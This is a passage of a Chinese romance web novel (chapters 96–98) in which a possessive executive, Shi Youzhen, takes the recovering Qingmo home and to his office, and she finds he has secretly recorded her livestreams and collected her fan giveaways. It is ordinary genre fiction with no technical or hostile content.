少衡用力咳嗽一声,清茉尴尬地瞅了眼施友臻,闫峰顺着他俩目光看去,才发现施友臻也在。少衡没跟他讲太多大哥的事儿,闫峰在这里看到融恒老大施友臻挺惊讶,立马变成一本正经的样子,商务标准礼仪去握手,说着:“施总您好,我是少衡的朋友闫峰。” 施友臻像是这个屋子真正的主人,放松地搭着腿坐在沙发中,对着诚惶诚恐的闫峰问道:“冬瓜爸爸?” 闫峰乐:“对对对,我就是冬瓜爸爸。” 少衡添乱说着:“茉茉,冬瓜就在楼下车里呢,医院不让进楼,想不想去跟冬瓜玩会?” 清茉眼睛一亮:“想!哥,我下楼看看好不好?” 三个小辈儿一起目光炯炯盯着施友臻,为了一只叫冬瓜的狗。 要是以前施友臻肯定斩钉截铁拒绝,现在则是将拒绝的话在胸口盘旋了几圈,中和道:“隔着一楼大厅的门,可以下去看会。” 行吧,总比不让下楼强。 施友臻去拿来清茉的新衣物,取了厚实的羊毛袜,也没管谁在场,很自然地蹲下来往清茉脚丫上套,闫峰一看这架势,胳膊肘狠狠捣了一下少衡,忙不迭往外走,说着:“我先跟冬瓜说一声,让他准备准备,为了见清茉昨儿我拉他去洗了澡,香着呢。” 少衡被他一块拉出去了,问着:“拽我干嘛啊?” 闫峰:“你当什么电灯泡,我算是知道你为什么说连你哥来了都得给剥虾,见识到了。” 少衡:“我才不是电灯泡,茉茉喜欢我更多。” 闫峰乐:“嗯嗯,知道了知道了,你们仨把日子过好比什么都强,我看缺条狗,冬瓜就很合适,我作为冬瓜养父,冬瓜加入了你们估计会想我,我跟冬瓜一起加入吧,咱们五个把日子过好比什么都强。” 少衡:“行,我跟我哥说。” 第96章 第九十六章 夜间外面太冷,风也大,施…… 夜间外面太冷, 风也大,施友臻检查好清茉的全套穿戴,包括一顶顶着蓬蓬绒球的可爱帽子, 才放清茉出门,清茉也不知道他天天在品牌册子里圈画了些什么奇怪产品,说着:“哥, 这也太幼稚了,幼儿园小朋友才戴这种颜色样式。” 施友臻乐在其中, 喜欢把她打扮得毛绒绒, 驳回抗议, 振振有词:“冬天就该有冬天的样子。”施友臻之前虽然几乎没有过照顾人的经历, 生活中向来被人服侍得妥妥帖帖, 但是当要面对心里重要的人,“不会”“不知道”这种话,绝对不会成为托辞, 生活常识、医学常识全都可以立刻融会贯通、信手拈来, 上赶着亲力亲为,假以他手都是不能被容许的事情。 清茉被施友臻捧着脸整理帽子, 确认耳朵都盖住时, 心里默默感慨男人果然不会存在“没有时间回信息”的情况, 只存在“有心”和“没心”的情况。 清茉偶尔还是会咳嗽两声,消炎的点滴今天刚停, 为了保险起见, 施友臻不允许她走出一楼大厅的门。饶是这样,一楼大厅的温度也比在房间里低,这已经足够让施友臻焦虑,所以他甚至给她限时了一刻钟, 让她隔着大厅玻璃跟冬瓜“团聚”一小会。 冬瓜实在是太聪明的可爱狗狗,贴着大厅的落地玻璃跑来跑去逗清茉,隔着窗户跟她贴贴爪爪,活跃得像要喊出来:“人!来玩!来玩啊!” 清茉跟冬瓜互动玩的时候,施友臻就站在她身后,不参与,但是目光一直锁定在清茉身上。冬瓜爸爸隔着玻璃暗中观察施总,再瞅瞅被隔在玻璃外面的好友少衡,少衡双手揣兜,冻得缩着脖子,但是嘴巴哔哔哔个不停,卖力跟冬瓜互动,展示给里面的清茉看,干得怪实诚的。 一刻钟马上就到,施友臻提醒清茉该回房间了,清茉最起码现在是服管的,跟冬瓜挥挥手。施友臻给外面的少衡打电话:“你俩等她上电梯再进来,别带进来风。” 少衡无语道:“至于吗哥!” 闫峰凑热闹问着:“怎么了?施总说什么了?夸奖冬瓜跟我了吗?” 少衡:“想什么呢。让咱俩先别推门往里进,嫌弃万一带进去冷风,冻着茉茉。不是,那敢情咱俩成小丑了呗?表演给老爷们看呢?” 闫峰:“我没问题,我跟冬瓜感到荣幸,你自己骂骂咧咧别带上我俩。” 少衡晚上还要回融恒加班,干脆眼不见为净,拉着闫峰跟冬瓜走了。在车上,闫峰突然问了少衡一句:“就这样了是吗?” 少衡:“嗯?什么就这样了。” 闫峰:“你不是也喜欢?” 少衡沉默了片刻,又想到了他哥将他深夜喊回来的电话,说着:“就这样吧。就先这样,以后再说以后的。” 闫峰:“行吧,高风亮节,想得开。” 少衡:“过奖。”又沉默着开了一会车,说了句:“我哥挺独的,那天晚上我看他自己站在抢救室外面,有点可怜他。这几年觉得,他好像跟所有人都是弱联系,公司里的人,家族里的亲戚,就连父母,我哥好像都只是站在他该站的位置上。跟我稍微好一点,也就一点。” 还有很多话,少衡就放心里不愿意讲出来了,又重新笑道:“你真当自己是第五人了?瞎操什么心!博爱主义者的快乐你不懂。” 医生做完最后一项检查,评估结论是可以出院,施友臻把检查结果也认真都看了一遍,认同医生的结论,同意清茉出院。看到施友臻点头,医生团队、章宁,还有清茉都不约而同松口气。施友臻让清茉认真听出院医嘱,特别是药物使用方面的注意事项,医生讲完,施友臻在旁边又加重强调了句:“出院不意味着完全康复,还有好好调养一段时间,增强免疫力。” 所以,清茉面对的第一个问题是,出院住哪儿。 清茉知道要是自己再偷偷订酒店,肯定会惹恼某人,就干脆先试探着问:“哥,您看,我这,要不借住一段我那个小房子?” 施友臻在那个房子中,留下了太深刻的回忆,有缱绻的,也有再也不想去回忆的。拒绝道:“太小了,家政待不下,去我家。” 外面仍旧是冷,施友臻变魔法似的又给清茉整出一套新衣服,监督着换上,牵着她的手往外走,清茉特意去谢过医生和护士,院里管理层也过来了,清茉有点后悔没给医护团队送个锦旗,那天抢救,可多亏值班医生冷静应对,有些事儿晚一秒就是另外一个天地了。 清茉拉了拉施友臻的袖口,小声问着:“哥,要不要送个锦旗?” 她乖巧请示的模样太受用,施友臻上手揽着清茉肩膀,把被他打扮成宣软娃娃的人扣在胸前,说着:“可以,章秘会送。融恒每年资助医院科研项目,以后可以加深合作。” 清茉想了想,一码归一码,除了那天的当值医生,施友臻也是最该感谢的,她说着:“谢谢哥。” 施友臻握着她的手,紧了紧。 施友臻说去他家,清茉以为会是之前去过的那个,结果施友臻开车径直去了陌生的地儿,也不陌生,毕竟经常作为房价天花板出现在财经新闻里。清茉其实还挺欣赏施友臻这种人生态度,精神内核超稳,什么样的经济能力匹配什么样的生活,绝不亏待自己,旁人看着是浮夸,于他来说是普通日常。 带她去的房子,是客厅挑高超高的独栋,清茉虽然已经见怪不怪,进门看到大到夸张的投影放映幕布还是感慨:不愧是施友臻。清茉进屋好奇地打开调试,问着:“哥,这是工程级别的?我找个片子试试,感觉会很爽。” 很适合放映少衡想谈IP的那个奇幻史诗剧系列,有空可以叫少衡一起来看,他俩都喜欢。清茉这么想着,又被自己这种自然而然的想法无语到,她估计也就是借住几天。 脱下外套开始调试,施友臻放任她在房间里跟好奇猫咪似的体验,给端来一杯果汁,一杯热水,他则先去楼上再验收一下给清茉准备的房间。不过清茉很快就关掉了投影,因为搜索的时候不小心看到了放映历史记录。 里面竟然全是她账号上的旅行视频,有些是她编辑好放上来的视频,有些是施友臻录制的直播记录,偷录的。最近的一个浏览记录是她雪山徒步的视频。 清茉想着这人用什么心态把她的视频投影到如此之大的屏幕之上,想想幽幽黑夜,他独自一人坐在沙发上,盯着屏幕中放大若干倍的人物,每一个表情,每一句话,都会被放大。清茉知道施友臻精神内核稳,但是他独来独往的孤僻,也滋生出很多极端的固执。她甚至怀疑,施友臻是不是为了看这些视频,才特意整了这么昂贵的一套设备。 这也……挺变态的吧…… 能怎么办,清茉只能假装没看到。 她在楼梯口喊着:“哥!在哪儿?” 施友臻走出来,让清茉上楼,清茉一边往楼上走,一边心虚说着:“医生说我还要好好修养,嗯……要谨遵医嘱好吗?” 施友臻能不知道她心里想什么吗?那必须清清楚楚,说着:“知道,先安心住。”领清茉进房间,清茉走进去一愣,迟疑地左看右看,问着:“哥,不用把主卧留给我吧……”床品全部都换成清茉喜欢的柔和颜色,不再是施友臻爱用的暗色系,床上甚至摆放了几个带着可爱图案的抱枕,洗漱间配了全套女士洗护,衣帽间有一半的架子都是清茉的衣物,就是施友臻天天闷在病房里圈画的那些。 可以说,里里外外,对,里里外外,每一件都是施友臻亲手挑选的。 清茉原本过到极简的生活,突然以一种极繁的形式硬要馈赠于她,也只能默默叹口气,想着算了,千金难买他乐意。原本想说不用这么复杂,她住两周就得返程参加学术会议,硬是讲不出口,或者说不敢讲。 施友臻挑了一套看上去就很舒服的家居服,摆床上,说着:“那么喜欢偷穿我的,订了很多同套。” 清茉:“……” 施友臻监督清茉睡午觉,他则在一旁浏览公司的待办事项,约定好明天去公司,反正也不放心让清茉自己待着,就按照之前约定好的,要带清茉去上班,办公室套间里的休息室也让人整理了,章秘特意发过来照片请施总验收,汇报着三餐的需求也已经跟公司餐厅对接过了。 施友臻一一审阅完,放下平板,坐到床边看着已经入睡的清茉。养回来了一些,脸上长了点肉,还是瘦,软软地陷进床里,小小的一团,一个手掌就能揽着腰捞起来,拥在怀里香香软软……施友臻干脆又掀被子贴上去,也享受一个悠长安静的午觉。 他想:这样才好,这样才对,就应该这样。 第97章 第九十七章 小时候少衡抱怨过不喜欢跟…… 小时候少衡抱怨过不喜欢跟他哥坐一桌吃饭, 他哥食不言寝不语,在一起吃饭又严肃又沉闷。但是餐桌上多了邻家小姑娘茉茉的话,气氛好像会好很多, 他哥甚至会让厨房给茉茉多准备一份草莓蛋糕,或者蜂蜜松饼,茉茉要求在松饼上加巧克力冰激凌球, 他哥也答应。 从小就被大哥血脉压制的少衡没少跟清茉嘀咕,问她不害怕哥吗?茉茉大眼睛眨巴眨巴很困惑, 反问少衡:“哥多好啊, 我家都不让多吃冰激凌, 哥给!”小时候她根本不怕大哥, 使唤大哥的时候, 比少衡还理直气壮,也会在施友臻放学的时候快乐地迎着笑脸儿冲过去,中气十足地用甜嫩嫩嗓音大声打招呼喊着:“哥!回来了!” 那是施友臻记忆中, 声音、色彩和情绪最丰富, 最浓郁的一段时光。 后来叽叽喳喳的声音不再在耳边萦绕,落单的少衡也很久没有找到可以在一起厮混的好朋友, 从二楼的窗户望出去, 经常只有少衡一个人蹲着那里摆弄玩具车, 施友臻的世界陡然清静,从不习惯到习惯, 一下子就清静了很多年, 偶尔也会想起那个小女孩,家道中落的故事他见得多了,知道以后应该很难再见。 少时不懂,再早慧也仍旧是个半大孩子, 就像二楼的那扇窗户,他通过窗户注视着世界,可看不到自己,也对外面世界发生的事情无能为力。直到那次在云端意外见到了她,很好认,一眼就认了出来。 如今时过境迁,旁人跟施友臻相处,更加时刻注意,得客气地端着,少衡仍旧是不喜欢跟他哥单独吃饭,谈公事怕被他哥说教,谈私事也没什么好谈的,反正能不一块儿吃就不一块儿吃。唯独清茉仍旧还是那个例外,除了之前故意对抗,或者理亏躲闪的时候,跟他哥一块吃饭,有什么说什么,该夸夸该怼怼,自在着呢。 晚餐请了新的厨师团队,清茉睡午觉的时候,已经备好了餐,晚上她要跟施友臻独处用餐。下午睡醒的时候,已经日到黄昏,落地窗外是通天红遍的晚霞,施友臻占据了另外一半的床,腿贴着清茉,身子靠坐着,在浏览平板,样子特别正经,堪称君子。清茉爬起来,施友臻随手就递过来一杯温水,在清茉脑门上亲了一下,说着:“晚饭准备好了,起床活动一下吃饭。” 餐厅外的窗景很漂亮,能从院落的树木一直遥望到天边远山的落霞,清茉捧着滋心润肺的炖梨汤盯着窗外发呆,施友臻管教道:“先专心吃饭。” 清茉收回目光,说着:“哥,那边是不是远郊北山,我之前徒步视频里,好多粉丝推荐去北山徒步,沿着长城走,能从这一段通到另外一段,要走一整天,冬天雪景超漂亮。” 施友臻给她续了半碗汤水,说着:“不要走野路。”他好像也在努力适应怎样更好地跟人交流,转圜了一下说着:“准备充分可以试试,等你恢复体力我可以陪你。” 清茉:“是开放的路段,不是野路。好呀,哥你体格这么壮,绝对没问题。本来我雪山徒步完,想再挑战一个更难的山地路线,品牌方都准备好装备了,向导也沟通过,好可惜,下次再试试。吃完饭,可以出去散散步吗?医生说也要逐步恢复正常运动。” 施友臻点头,监督着清茉先把碗底的小半碗米饭吃掉,说吃完才行。 夜晚的小区空旷寂静,衣帽间的衣服在施友臻心里有电子表格,他上楼取出一件到脚踝的长羽绒服,在玄关把人裹得严严实实,围好围巾,戴好帽子,才牵着她的手往外走。清茉深呼吸户外带着寒意的新鲜空气,心情不错,问着:“哥,明天你该好好上班了吧,我可以在家待着吗?我在家看电影。” “行不行”“可不可以”“好不好”,再加上带着示弱央求的软软的一声“哥”,施友臻捏了捏她的手,小女孩的手骨节薄薄软软的,她总是这样,讲着撒娇似的软话,示弱一样笑眯眯讨一个同意,小时候就是这样,小时候倒是诚心,长大了心眼套着心眼,嘴巴上一套心里一套,又犟又狠心。 “不行。”施友臻对自己的状态有正确客观的评估,他的分离焦虑恐怕不像表面上那样平静,保不准什么时候就行为过激,他用力捏了捏清茉的手,说着:“不行,你答应过,上班时候不能离开我的视线,身体要好好养回来,三餐要按时,每天要睡足,林清茉,你觉得自己值得信任吗?” 清茉:“……” 力气很大的施友臻,把她手攥得生疼,就答应着:“那好吧,先去两天,要是我待着实在无聊再说。” 在外面走了一圈,回去清茉还是有点倦,体力恢复看来还是需要时间,窝在沙发中盖着毯子看“巨幕”纪录片,施友臻坐在一旁,处理一会文件,再抬头看两眼。播放的是西北的人文历史,清茉看了一会开始打瞌睡,施友臻将片子暂停,起身把她从沙发上抄起来,连带着毯子一起裹在一起抱着,暖烘烘踏踏实实抬在臂弯中,往胸前揽了揽,清茉已经浅睡,额头贴他胸前,小声拒绝着:“哥,不要抱,我自己……” 尾音轻不可闻,施友臻稳当当把她抱二楼卧室床上,拢好被角。她的短发长长了些,到春节可能就留到肩了,施友臻很轻地摸了摸她毛绒绒的发顶,想着可以跟她商量重新留长发,如果可以商量的话,都可以听她的。 第二天早晨,吃过早餐,施友臻又让清茉穿那件长到脚踝的羽绒外套,清茉抗议,觉得不方便又热,反正就是在室内根本没必要穿,她向来出门习惯穿轻便的,俩人在衣帽间门口就犟上了,施友臻像管教小朋友的Daddy,清茉就是说不要。 搁以前不好说,反正现在妥协的是施友臻,他重新去取了一件短款外套,短款里面最厚实的,递给清茉,清茉嘟嘟囔囔还是觉得厚,施友臻下令:“要跟我在家里待一天吗?衣服别穿了。” 清茉就乖乖闭嘴,披上外套出门。走到车旁,看今天他要开的是辆帅气高大的越野,手痒心痒,很久没开车,想开。瞧了下施友臻脸色,问着:“哥,我开好不好?让我开呗,我给你当司机。” 施友臻犹豫的空档,林清茉已经跨上了驾驶室,进去就把外套一脱,放后座上,施友臻觉得好气又好笑,绕到副驾,上去先调高温度,任由她研究,帮她调好座椅。早高峰的路况相当拥堵,施友臻涵养很好地任由她发挥,也有几次欲言又止的时候。前面有不讲武德硬塞的车,清茉嘟嘟囔囔说好讨厌,连着过三个绿灯她会开心说Lucky,被红灯堵住,几次过不去,会担心地问会不会迟到。 像个提供无限情绪价值的小小电台,私人的,信号专供的隐秘电台,主播是他一个人的,只播给他一个人听。施友臻心里飘飘软软,不想那么快抵达公司,乐在其中。 抵达公司的时候,清茉下车前施友臻已经把外套递给了她,清茉问着:“哥,要不你先上去,我等会再进去,人多眼杂,万一胡乱传什么话你不方便。” 施友臻不觉得有什么不方便,方便得很。泊车后去牵着清茉的手往里走,倒是清茉不自在,偷偷要抽回来,施友臻握得很紧,堂堂正正地穿过融恒大厦大厅里很多人的目光,带她进电梯。 小孔主任接到章大秘通知,说今天开始施总会全天正常来上班,章哥还提前过来布置过办公室,尤其是休息室,更换了不少家居产品。章哥没多说,小孔主任也没多想,看时间差不多,就瞄着电梯,等施总上班。 结果今儿电梯门一打开,小孔主任迎上去的时候,看到施总牵着一个女孩的手往里走,牵地那叫一个亲密自然,跟偶像剧似的,小孔主任到底是年轻,错愕地一时不知道怎么打招呼了,愣神间章哥也从办公室出来,迎了上去,挺熟悉似的问候着:“施总早,清茉早,还真是一块过来了。” 这谁?这怎么称呼?没听说过啊?发生了什么?谈了?谈了谁?直接带公司了?昭告天下了?所以到底是谁啊啊啊啊啊啊啊啊? 章大秘拍了小孔主任肩膀一下,小孔主任回神,赶紧去准备今天的文件,有点伤心地默默反思,自己跟章大秘的差距看来不是一点,离着核心事件核心人物还太远,他要继续加油进步!所以到底是谁! 要是小施总带着女孩来上班,那是见怪不怪,施总牵着女孩的手来上班,想想都炸裂,不,是连想都不敢想,大家都默认施总是远离红尘的出世高人,无情!无欲!X冷淡! 上午有个重要的项目研讨会议,项目决策不能再拖,一众高管就等着施总过来详细研讨拿主意,利润巨大,风险巨大,他必须做拍板的那个人。小孔主任在震惊中安排会务,总裁办也有几个员工注意到了,小声问小孔主任,小孔主任一脸严肃,让大家专注工作。 实在好奇,小孔主任注意到女孩进了施总办公室没出来,施总在里面待了一会,随后去会议室参会去了。 施友臻去开会,清茉松口气。 休息室算是家中主卧的另一个版本,都不带简化的那种。能把办公室的休息间布置成这样,在清茉眼中,跟用巨大投影放映偷录的直播视频,是一个等级的变态。问题是浮夸行为的实施对象是她,实施者又貌似处于应激中没完全走出来,除了假装淡定接受,也没法骂人。 会议比原定时间进行地更久,激进派跟保守派各执一词,两派的责任副总辩论激烈,要对比考虑的参数很多,施友臻就算心里有牵挂,关键节点不好抽身,认真投入工作的时候,时间会过得飞快,等最后可以拿结论的时候,已经快到午餐时间了。 期间给清茉发过信息,问在干嘛,清茉发过来一本书的扉页,是他特意采购过来为清茉准备的历史类小说,清茉还夸他有品,说是好书。 散会后施友臻回到办公室,外间办公空间不见人影,以为在里间休息室猫着,进去一看,也没人。拨打了好几通电话,都无人接听。 不好的回忆和情绪一下子就上了头,施友臻几乎立刻想到,她是又偷偷离开了。 很糟糕,糟糕透顶,她这几天表现得那么顺从乖巧,果然都是假象,都是为了骗他,都是为了找到一个时机偷偷离开,根本就是骗子,被困住的仍旧只有他一个人。 施友臻再次心口窝沉压压不舒服,因为他想到在抢救室外自己立下的承诺,她真的想走,就放她走,尊重她的任何选择和意愿,只要人平安健康。 二楼窗口再也看不见邻家小女孩活泼吵闹的身影,少年时代的无能感再次将人吞没,他怔在原地,被循环的时光印记锁住,心跳如崩。 理智片刻后回笼,施友臻深呼吸,想着,如果是这样,至少该先确认她的去向。立刻喊来了章宁,他和几个知情人先在大厦里四处找找。 小孔主任原本想会后悄悄问问章哥,结果会议结束后不到五分钟,小孔主任接到章哥紧急召唤,让他去大楼里四处找找早晨见过的女孩,章哥声音很急,分派小孔去一楼大厅看看。 小孔主任好奇得都兴奋了,一路小跑奔向一楼,一楼大厅的尽头有家咖啡厅,小孔主任在大厅里扫描了一圈没看到,就小跑着去咖啡厅,女孩子去买饮料的概率比较大嘛。果然就在咖啡厅门口看到了人事部门的晓杨正在跟女孩笑嘻嘻聊天往外走。 小孔主任跑得喘气,冲到女孩面前,突然发现不知道怎么称呼,憋得脸通红,上气不接下气说着:“您好……那个……您好,施总好像在找您。” 清茉一愣,说着:“哎呀!”赶紧掏出来手机,一看上面六七八个未接来电,赶紧拨回去,秒接通后清茉陪笑道:“我下来买饮料了!马上上去马上上去!” 晓杨笑而不语,一脸看热闹的模样,小孔主任还是一脸状况外,清茉跟晓杨拜拜,说着:“我先上去一下,待会联系!”赶紧朝电梯那边走。 小孔主任跟着跑,去给她刷开门禁和电梯。 清茉打开办公室的门,就看到施友臻沉着脸闷闷地坐在办公椅上,清茉捧着买的饮料,上前哄着:“我跟晓杨约着去楼下咖啡店小坐了一会,买了一杯热可可,没喝冰,没喝咖啡,生气了吗?我以为你会议还要很久。” 施友臻没有应答,清茉想着再说几句软话哄哄的时候,施友臻突然打破沉默说着:“我以为你又打算偷偷离开。” 清茉一愣,哄着:“不是,我刚才跟晓杨聊天,没接到电话,就几分钟没看手机嘛,我把手机调出声音,不生气了好不好?要尝尝热巧克力吗?冬日特调款,老板强推。” 施友臻还是闷闷地坐在那里,不全是生气,像陷入消极的情绪中,不像他一贯坚不可摧的强硬做派。哥不应该出现这种情绪,林清茉也默默叹了口气,他的应激焦虑,比想象中的更严重哎。 这怎么弄啊,怎么哄。 隔着办公桌,林清茉往前探了探身子,说着:“哥,你过来一点。” 施友臻皱眉,林清茉见他不动,无语地撑着桌沿费尽全力往前探身子,在施友臻错愕目光中,主动又快速地亲了一下施友臻的嘴唇,有可可的香气。 林清茉要撤回身子的时候,突然被施友臻托住了下巴,脸被他的虎口用力钳住,他带着不安和愤怒加深了这个吻,清茉费力地撑着桌面一动不能动,被男人的气息侵占到缺氧,发出细碎的呜咽,挣脱不开,被吃得生疼,他到底多气!怎么亲吻也要这么大力气! 第98章 第九十八章 等施友臻愿意放开她,清茉…… 等施友臻愿意放开她, 清茉已经灵魂出窍,完全没有心理准备会迎接这样一个狂风暴雨的吻,撑着桌子的胳膊都在发抖, 眼里润着光泽,难以置信地睁大眼睛。施友臻绕过办公桌,将她抱到桌子上, 弥补似的,轻柔些细细覆上来。 结束绵长的亲吻, 清茉已经全无刚才主动的飒爽, 施友臻是压迫感很强的男人, 卡在清茉身前让她逃无可逃, 无措地想往后挪一挪, 被他捞着腰拉回来,他盯着清茉的眼睛不言语,目光很深, 藏着很多没讲出口的话, 也藏着很热烈很直白的渴望。 清茉撑着他的肩膀,央求着:“哥, 这是办公室。” 施友臻扶着清茉的腰, 问她:“不是办公室就可以, 对吗?” 清茉:“……” 章宁恰到好处的敲门声救了清茉,施友臻放开她, 清茉从桌子上爬下来, 白皙脸颊红了一片,又变成了奶油草莓,强装淡定坐到沙发上。章宁进门跟清茉打招呼,请示着:“午餐在这里吃, 还是去餐厅?” 施友臻总有他的想法,应着:“去餐厅。” 按照清茉以前的职场经验,中午的公司食堂人员聚集,就是一个超大型八卦信息交换现场,清茉觉得很突兀和顾虑,问着:“要不要就在这里吃?” 章宁很有眼力价地打圆场,消除清茉的疑虑,解释道:“施总有专门用餐的房间,可以顺便参观下融恒的餐厅,业内很出名,福利超好,今天有特别供应的甜品自助,请很热门西点店来做的联名。” 章宁报了西点店的名字,是清茉一直想吃的西点店,以前离得远又要排队,就没去,这会听到立刻心动,站起来说着:“走,吃饭。” 施友臻把她拽回来,章宁立马退了出去。 施友臻问着:“疼吗?” 清茉疑惑:“什么?” 他碰了碰清茉下唇,清茉才吃痛皱眉,甩开人去照镜子,才发现下唇上被咬出了暗红的一小块儿,怪不得刚才被亲的时候疼,这会不碰没事。 清茉:“……” 总不能,咬回去。 她强装淡定走出来,嘴巴上不认输,说着:“就当被狗咬了。” 施友臻不跟她计较。 进入融恒餐厅,章宁走在前面,清茉往后缀了施友臻几步,为了没那么显眼。大家注意力都集中在了施总身上,清茉在后面不显眼,像普通的年轻职工一样,就是穿的有些休闲。 融恒的餐厅敞亮现代,位置充足,菜品窗口五花八门,收入不菲的集团总部职员衣着光鲜地三两一桌用餐。清茉就想起之前就职公司局促的地下餐厅,用餐高峰期人挨着人,点完菜端在手里还要四处寻找位置,价格不贵,就不能挑用了什么油什么新鲜食材,上班上得很累,就靠着重油重盐的味道提提胃口,跟融恒这里的条件一比,太落后了。 施友臻走在前面,带她进了专属的用餐房间,房间里有这层最好的景观位置,远眺能看到整个金融区的全貌,章宁问着:“先上施总订好的菜,清茉要不要去外面看一看?想吃什么再添一点。” 清茉笑着应下,跟章宁出去,章宁给她介绍各个分区,有跟章宁熟悉的人打招呼问着:“哟,您亲自带新人?” “章哥好,今儿陪施总一起吃吗?这位是总裁办的新人吗?” “章哥,一块儿坐呗,咨询你点事儿,这位没见过,美女一起啊?” 章宁好脾气地跟同事打招呼,清茉笑道:“您这人气真是够高的,您忙着我自己转转。” 章宁正好接起个电话,把自己餐卡给清茉,说着:“我接个电话,马上来,不好意思你先看看有没有感兴趣的。” 自己逛更自在,清茉瞧着有个小窗口在煮麻辣烫,洗好的菜品码得整整齐齐,放融恒餐厅里都显得高档起来,麻酱的香味非常诱人,她在国外好久没吃过了,就过去观察旁人怎么结算,挑了自己喜欢的几样,递给窗口里的工作人员称重,刷卡的时候突然被问着:“您这卡不是自己的吧?” 后面也有排队的人,都在等,都在看着,清茉尴尬了一下,解释着:“嗯,朋友借的,可以刷吗?不可以就算了。” 卡上显示的是章宁的照片,跟清茉出入实在是大,工作人员多问了句:“没带的话可以先申请临时卡或者登记一下,下次记得哈。” 工作人员输入金额将要刷卡的时候,那张卡被人抽走了,有人站在清茉身后说着:“不用刷。” 是施友臻。 他本想让清茉自在一些,就没跟着一起,等了一会不见人回来,不放心地出来找寻,看到的就是这样一幕,清茉礼貌又有几分拘谨地站在那里,说着“不可以就算了”。 施友臻也难得一瞬间恍惚,突然想,要是按照小时候林清茉的性格,遇到这种情况,不会说“不可以就算了”,会大声喊他出来帮忙结账,进餐厅的时候也不会故意落下几步,她应该早就频繁地进出融恒,融恒的人都该知道她是拥有特殊权力的人,她也会毫不遮掩地炫耀出他们不一般的亲厚关系,而不是这样低调,处处想着不要惹人注意,被质疑不属于这里的时候,先谦逊地退让半步。 施友臻在公司人流最密集的地方,主动握住了清茉的手,说着:“不用刷。” 工作人员忙道:“施总好,您稍等,煮好了给您送过去。” 施友臻检查了下清茉挑选的麻辣烫菜品,还算健康,就没说什么。 被他突然握住手的清茉,明显察觉到原本喧嚣的四周静默了那么一刻。 施友臻不在意那些喧嚣,也不在意那些沉默中打量的视线,拉着她的手,继续往里面走,说着:“不能加辣椒,容易咳嗽。甜点在那边,去看看。” 清茉挣了挣手,小声说着:“哥,注意影响,注意影响,不要拉手嘛。” 施友臻不为所动,就是拉着她往前走,反问她:“你觉得我丢人吗?” 清茉:“……”无法接话,任他拉着,最后只憋出来一句:“我怕你人设崩了。” 施友臻拉着她走到甜点窗口前,原本熙熙攘攘人气最高的甜点站,职员们自动围绕他为圆点,空出一个半圆,施友臻问清茉:“想吃哪个?” 清茉看了看四周的人群,在注目礼中胡乱点了几个,施友臻点头,但是说着:“先吃饭,饭后在办公室吃吧。” 好不容易回到吃饭的房间,门一关,清茉发作,质问他:“哥,你是故意的吧!这得传成什么样!你看,晓杨立马给我发信息了!”清茉点开手机,晓杨发来一串“哈哈哈哈哈哈”,说刚才她就在餐厅,全看到了,施总拉着她的手大摇大摆炸街,现在公司都炸锅了,大家在私底下讨论疯了,都在打听怎么回事。 施友臻不否认自己的故意为之,给清茉布菜,淡定说着:“早晚要习惯。” 清茉捂脸:“我都要社交恐惧了,我都说在办公室吃,你非得拉我过来,明天我不来了!” 施友臻:“办公室是办公的地方。” 章宁端着煮好的麻辣烫敲门进屋,也憋着笑,问清茉:“参观得怎么样?” 清茉:“行,好,非常好。” 饭后回到办公室,施友臻让清茉去睡午觉,清茉精神紧绷地折腾这一上午,很快就睡着了,等再醒来都下午三点多了,发了会呆洗漱爬起来,把房门打开一条缝,观察外面没有外人,才走出来,问着:“哥,下午没会?” 说话间,少衡火急火燎过来了,进屋不言语,围着清茉转了一圈,盯着她嘴唇,问着:“怎么个情况?我在融恒置业都听到了风声,你俩在公司玩过家家呢?过分了吧?” 清茉看他也来了,心里一动,想着早晚是伸头一刀,趁着少衡在,把话说开得了,不然再拖着,不知道他会发疯成什么样子。 清茉清了清嗓子壮胆,说着:“我订了周六的机票,得赶回去参加周一的学术会议。” 屋子里沉寂了下来,少衡也没吭声,抬头看了眼他哥。 施友臻放下手中的钢笔,明显不愉,问她:“哪个周六,哪个周一。” 清茉抿了抿嘴唇,抿到了被咬到的地方,被质问得紧张几分,解释着:“是半年前就排好的日程,这个周六赶回去跟导师一起出发参会,而且还要再准备一下发言稿。哥,我这个星期再修养几天,肯定没问题。” 施友臻简直被气笑了,问她:“我这里,是你疗养院?说来就来说走就走。”他讲完,大概觉得自己也没什么理,为什么修养他比谁都清楚,说的话也重了些,又找补道:“太早了,医生建议这个月都要注意恢复。” 少衡坐在那里始终没有讲话,沉默着听着他俩的对话。 清茉坚持道:“哥,我有学术交流发言的议题,准备了很久,尽量不要缺席,我身体真的没问题了。” 少衡突然嗤笑出声,站起来道:“我听明白了,原地踏步走呗,我火急火燎地赶过来,真是高估你俩了,走了,你们慢慢商量。茉茉,我春节飞过去陪你一起过年,说好了。” 少衡抬屁股走人,屋子里又陷入了安静,清茉干脆继续破罐子破摔说着:“哥,反正我这会闲着,去小房子拿我行李行吗?衣服证件都在那边,借车开一下呗。” 施友臻不想听她继续讲下去,清茉以为他沉默不语是默认了呢,去拿摆在桌面上的车钥匙,施友臻攥住她的手腕,问她:“一定要这样是吗?” 清茉也坚持道:“本来就是这样啊。” 施友臻忍了忍,起身说着:“好,去吧。” 这次施友臻没让她开车,清茉瞧着他脸色,也没敢申请,一路上他沉着脸没有讲话,不知道在想什么,清茉也别着头望向窗外风景。很快又到了熟悉的小区,进屋前清茉还调侃了一句:“怎么不换密码啊哥?” 说完察觉气氛不对,施友臻估计不想听她没心没肺的调侃,没理她,清茉就闭嘴了。再次进屋,心情还是复杂,清茉说着:“我给弄乱了一点,稍等啊哥,我收拾一下。”背包放在玄关置物架上,清茉去拿的时候,包带勾住了旁边老花盒子,给带了下来。 老花盒子从置物架上掉落,重重砸在了地板上,里面的东西一下子全部蹦了出来,散落一地,其中还有一个白瓷杯子,清脆地摔在地上,也磕碎了。 清茉看着散落在地上的东西,怔住。很眼熟,怎么可能不眼熟,都是她亲手买的,是北欧旅行路上她觉得有意思的纪念品,鹿角开瓶器、小镇红房子冰箱贴、当地手工巧克力、可爱的毛毡驯鹿和鲸鱼,作为粉丝福利,在评论区抽奖送给大家的。 还有摔碎的白瓷杯子,上面印着城堡酒店的LOGO,清茉在网上专门介绍过,还说过想要买,但是酒店说专门定制的周期太长,不对外售卖。 这些东西,本该四散在世界各处,在毫无关联的不同人手里,现在却被人用心地收集在盒子中,安放在一个可能永远不会被发现的地方。 发现施友臻录制、观看她的直播视频,清茉还并未有这么深刻的触动,现在面对着散落一地的东西,心里很难过,不是别的心情,是难过。 